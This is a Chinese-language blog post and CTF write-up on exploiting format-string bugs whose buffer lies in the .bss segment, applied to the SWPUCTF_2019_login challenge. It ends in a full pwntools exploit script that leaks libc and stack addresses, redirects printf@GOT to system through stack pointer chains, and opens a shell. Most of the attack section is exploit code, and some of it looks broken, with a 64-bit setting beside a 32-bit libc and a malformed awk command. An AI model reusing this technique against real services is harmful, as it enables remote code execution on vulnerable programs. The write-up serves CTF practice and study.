bss段上格式化字符串的利用手法

利用手法

bss段上的利用手法与栈不同,因为不能向栈中直接写入数据了

利用手法是一个间接写入的思想

用C’代替C,C’和C相似

A -> B -> C

A -> B -> C’

常见利用手法:

  • 改ret地址中的__libc_start_main改为one_gadget
  • 改printf的got为system

SWPUCTF_2019_login

一个典型的bss段上的格式化字符串,可以无限输入

因为checksec后发现got表可写,思路就是将printf@got的内容改为system,然后输入/bin/sh即可getshell

步骤分三步:

  1. 找到第一个跳板,将其改为printf@got
  2. 找到第二个跳板,将其改为printf@got + 2
  3. 一次性将printf@got的后四位改为system的后四位,将printf@got + 2的后两位改为system>>16的后两位

前两步又分为两个小步,现将中间过程截图如下:

step 1

找到第一个跳板

将第一个跳板改为printf@got

step2

(同step1)

完成前两步后,最终效果如下所示

exp

from pwn import *
import sys

arch = 64
challenge = "./SWPUCTF_2019_login"
libc_path = '../32-libc-2.27.so'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def fmt( payload):
ru("Try again!")
sd(payload)

def exp():
# %15$p
# %21$p
ru("Please input your name: ")
sd("lemon")
ru("Please input your password:")
sd("%15$p")
ru("0x")
libc_base = int(re(8, 0), base=16) - 241 - libc.sym["__libc_start_main"]
echo("libc base:" + hex(libc_base))
fmt("%21$p")
ru("0x")
stack = int(re(8, 0), base=16)
target = stack - 0x90
echo("target:" + hex(target))
libc.address = libc_base

# 1
offset = -0x30
payload = "%" + str((target + offset) & 0xffff) + "c%" + str(21) + "$hn"
fmt(payload)
ru("!")

offset = 0x90
payload = "%" + str((elf.got["printf"]) & 0xff) + "c%" + str(21 + offset // 4) + "$hhn"
sd(payload)

# 2
offset = -0x38
payload = "%" + str((target + offset) & 0xffff) + "c%" + str(21) + "$hn"
fmt(payload)
ru("!")

offset = 0x90
payload = "%" + str((elf.got["printf"] + 2) & 0xffff) + "c%" + str(21 + offset // 4) + "$hn"
sd(payload)
ru("!")

# attack
offset1 = -0x30 # got
offset2 = -0x38 # got + 2
echo("system:" + hex(libc.sym["system"]))

payload = "%" + str((libc.sym["system"] >> 16) & 0xff) + "c%" + str(21 + offset2 // 4) + "$hhn"
temp = (libc.sym["system"] >> 16) & 0xff
payload += "%" + str((libc.sym["system"] & 0xffff) - temp) + "c%" + str(21 + offset1 // 4) + "$hn"
sd(payload)
ru("!")

pass

local = int(sys.argv[1])
elf = ELF(challenge)
libc = ELF(libc_path)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge,env = {"LD_PRELOAD":libc_path})
else:
io = remote("node4.buuoj.cn", 29886)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./SWPUCTF_2019_login}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()
文章作者: Alex
文章链接: http://example.com/2021/07/19/format-bss/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~